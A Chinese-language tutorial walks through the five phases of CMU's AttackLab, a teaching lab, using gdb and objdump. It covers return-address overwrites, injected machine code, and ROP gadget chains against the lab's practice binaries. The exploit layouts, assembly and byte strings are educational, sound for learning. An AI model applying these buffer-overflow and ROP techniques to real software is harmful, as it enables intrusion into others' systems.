从CMU的AttackLab实验看缓冲区溢出:手把手教你用GDB和Objdump完成五个阶段的攻击

从CMU的AttackLab实验看缓冲区溢出:手把手教你用GDB和Objdump完成五个阶段的攻击 从零攻破CMU AttackLab缓冲区溢出实战指南当第一次看到CMU的AttackLab实验文档时那种面对未知的兴奋与忐忑至今难忘。作为计算机安全领域的经典实验它用五个精心设计的关卡将抽象的缓冲区溢出漏洞转化为可触摸的实战体验。不同于枯燥的理论讲解这里每一步操作都会立即得到反馈——要么是令人沮丧的段错误要么是让人雀跃的Touch!成功提示。1. 实验环境与工具准备在Ubuntu 18.04系统上我们需要两个核心工具GDB调试器和objdump反汇编工具。通过以下命令安装sudo apt update sudo apt install gdb binutils获取实验文件后首先对目标程序进行反汇编objdump -d ctarget ctarget.s objdump -d rtarget rtarget.s这两个.s文件将成为我们的作战地图。建议使用VS Code等编辑器打开它们对汇编语法的高亮支持能显著提升可读性。注意实验涉及两个目标程序——ctarget用于前三个阶段rtarget用于后两个ROP阶段。它们的区别在于后者加入了栈随机化等防护措施。2. 第一阶段栈溢出基础2.1 理解getbuf函数通过反汇编文件我们找到关键函数getbuf的汇编代码000000000040186a getbuf: 40186a: 48 83 ec 28 sub $0x28,%rsp 40186e: 48 89 e7 mov %rsp,%rdi 401871: e8 8a 02 00 00 callq 401b00 Gets 401876: b8 01 00 00 00 mov $0x1,%eax 40187b: 48 83 c4 28 add $0x28,%rsp 40187f: c3 retq关键信息sub $0x28,%rsp栈空间分配了0x28(40)字节mov %rsp,%rdi将栈顶地址作为Gets函数的参数2.2 构造攻击字符串我们需要构造一个能覆盖返回地址的字符串前40字节填充任意字符通常用0x00后8字节写入touch1函数的地址0x40185d由于x86采用小端存储地址应写作5d 18 40 00 00 00 00 00使用实验提供的hex2raw工具转换后运行./hex2raw phase1.txt | ./ctarget -q当看到Touch1!: You called touch1时恭喜你完成了第一个缓冲区溢出攻击3. 第二阶段注入攻击代码3.1 理解调用约定x86-64架构下函数第一个参数通过%rdi寄存器传递。我们的目标是将cookie值如0x5134f5ad存入%rdi跳转到touch2函数0x40188b这需要注入一段机器码mov $0x5134f5ad, %rdi push $0x40188b ret3.2 确定注入位置通过gdb调试获取栈地址gdb ctarget (gdb) break getbuf (gdb) run -q (gdb) print /x $rsp假设输出为0x5562fcb8这就是我们注入代码的起始地址。3.3 构造完整攻击攻击字符串结构注入的机器码约15字节填充至40字节返回地址指向注入代码touch2地址使用objdump获取机器码gcc -c attack.s objdump -d attack.o4. 第三阶段字符串参数传递4.1 字符串存储策略这次需要传递cookie的字符串形式5134f5ad。为避免被后续操作覆盖字符串应存放在不会被破坏的位置——通常是test函数的栈帧中。通过gdb确定test函数的栈顶(gdb) break test (gdb) continue (gdb) print /x $rsp假设得到0x5562fce8这就是安全的存储位置。4.2 构造攻击代码注入代码需要将字符串地址存入%rdi跳转到touch3汇编代码示例mov $0x5562fce8, %rdi push $0x4019a2 ret字符串的十六进制表示35 31 33 34 66 35 61 64 00注意不要忘记字符串结尾的null字节(0x00)5. 第四阶段ROP攻击基础5.1 理解ROP原理面对rtarget的防护措施如栈不可执行我们转向Return-Oriented Programming。核心思想是利用程序中现有的代码片段gadgets通过精心构造的返回链实现攻击。5.2 寻找gadgets在rtarget.s中搜索以下关键指令pop %rax机器码58mov %rax,%rdi机器码48 89 c7通过objdump查找objdump -d rtarget | grep -A 2 58..c3 objdump -d rtarget | grep -A 2 48 89 c75.3 构造ROP链攻击字符串结构填充40字节gadget1地址pop %raxcookie值gadget2地址mov %rax,%rditouch2地址6. 第五阶段高级ROP技巧6.1 处理字符串地址由于栈随机化我们需要动态计算字符串地址。关键gadgetsmov %rsp,%raxlea (%rdi,%rsi,1),%raxmov %rax,%rdi6.2 构造复杂ROP链攻击流程将当前栈指针保存到%rdi将偏移量保存到%rsi计算字符串地址传递到touch3示例结构[填充40字节] [gadget1: mov %rsp,%rax] [gadget2: mov %rax,%rdi] [gadget3: pop %rsi] [偏移量] [gadget4: lea (%rdi,%rsi,1),%rax] [gadget5: mov %rax,%rdi] [touch3地址] [字符串数据]7. 调试技巧与常见问题7.1 GDB实用命令# 查看寄存器 (gdb) info registers # 查看栈内容 (gdb) x/20gx $rsp # 反汇编当前函数 (gdb) disas # 单步执行汇编指令 (gdb) stepi7.2 常见错误排查段错误检查返回地址是否正确Misfire错误验证cookie值是否匹配无限循环ROP链是否以ret结尾7.3 字节序问题x86架构使用小端存储地址0x40185d在攻击字符串中应写作5d 18 40 00 00 00 00 008. 安全启示与延伸思考完成这五个阶段后我深刻理解了缓冲区溢出的危险性。现代防御技术如ASLR、DEP等正是为了防范此类攻击。建议进一步探索如何绕过栈保护Stack Canary地址空间布局随机化ASLR的影响现代ROP缓解技术如CFI记住这些技术应当仅用于防御研究和授权测试。在实际系统中尝试未经授权的攻击是违法的。